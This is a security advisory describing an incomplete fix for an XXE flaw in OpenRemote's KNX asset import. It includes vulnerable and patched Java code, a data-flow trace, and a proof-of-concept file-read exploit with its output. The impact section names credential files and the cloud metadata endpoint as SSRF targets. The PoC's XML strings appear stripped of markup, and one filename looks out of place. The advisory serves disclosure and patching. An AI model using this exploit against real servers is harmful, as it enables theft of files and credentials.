GHSA-7v6w-c3f4-9wpq OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory

• Maven io.openremote:openremote-agent: < 1.24.2 → fixed in 1.24.2

Summary The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (`KNXProtocol`) processes user-uploaded ETS project ZIP files through Saxon XSLT and `XMLInputFactory.newInstance()` with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. `/etc/passwd`, `openmrs-runtime.properties`, cloud credential files). Details Incomplete patch CVE-2026-40882 was fixed by introducing `createSecureDocumentBuilderFactory()` in `AbstractVelbusProtocol.java` with five XXE-blocking features. The parallel asset import handler in `KNXProtocol.java` was not updated and retains two unprotected XML parsing calls on the same user-controlled data. Patched file — AbstractVelbusProtocol.java: ```java private DocumentBuilderFactory createSecureDocumentBuilderFactory() { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); return factory; } ``` Vulnerable file — KNXProtocol.java, lines 229–249: ```java // Line 229-230: reads 0.xml from user-uploaded ZIP InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl"); String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8); // Lines 233-245: Saxon XSLT — no XXE protection on the source document TransformerFactory tfactory = new TransformerFactoryImpl(); Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd))); transformer.transform( new StreamSource(new StringReader(xml)), // xml = 0.xml from attacker's ZIP new StreamResult(writer)); // Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false try (final XmlReader r = XmlInputFactory.newInstance() .createXMLStreamReader(new StringReader(xml))) { ... } ``` Data flow ``` POST /api/{realm}/agent/{agentId}/import (authenticated user, PR:L) → AgentResourceImpl.doProtocolAssetImport(fileData) → KNXProtocol.startAssetImport(byte[] fileData) → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml)) ← XXE stage 1 → XmlInputFactory.newInstance().createXMLStreamReader(xml) ← XXE stage 2 → external entity resolved → arbitrary file read ``` Comparison with patched code | Handler | XML parser | DTD disabled | Status | |---|---|---|---| | `AbstractVelbusProtocol` | `DocumentBuilderFactory` | ✅ 5 features set | Patched (CVE-2026-40882) | | `KNXProtocol` | `Saxon` + `XMLInputFactory` | ❌ none set | Not patched | PoC No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions. Requirements: Java 17+, Maven 3.8+ pom.xml dependency: ```xml net.sf.saxon Saxon-HE 12.9 ``` Exploit.java: ```java import net.sf.saxon.TransformerFactoryImpl; import javax.xml.stream.*; import javax.xml.transform.*; import javax.xml.transform.stream.*; import java.io.*; import java.nio.file.*; public class Exploit { public static void main(String[] args) throws Exception { // Sentinel file — proves arbitrary file read Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt"); String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis(); Files.writeString(sentinel, tag); String maliciousXml = "\n" + "\n" + "]>\n" + "&xxe;"; // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config) XMLInputFactory factory = XMLInputFactory.newInstance(); XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml)); StringBuilder sb = new StringBuilder(); while (reader.hasNext()) { int e = reader.next(); if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText()); } System.out.println("Stage A result: " + sb.toString().trim()); // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245) String xsl = "" + "" + "" + "" + ""; TransformerFactory tf = new TransformerFactoryImpl(); StringWriter writer = new StringWriter(); tf.newTransformer(new StreamSource(new StringReader(xsl))) .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer)); System.out.println("Stage B result: " + writer.toString().trim()); Files.deleteIfExists(sentinel); } } ``` Build and run: ```bash mvn clean package -q java -jar target/openremote-xxe-1.0.jar ``` Verified output (JDK 21, Linux): ``` Stage A result: OPENREMOTE_KNX_XXE_1780611779589 Stage B result: OPENREMOTE_KNX_XXE_1780611779589 ``` Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction. Impact Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF). Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including: • `/etc/passwd` — user enumeration • Application configuration files containing database credentials or API keys • Cloud provider metadata endpoints via SSRF (`http://169.254.169.254/...`) • Internal service endpoints reachable from the server The vulnerability is present in `KNXProtocol`, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.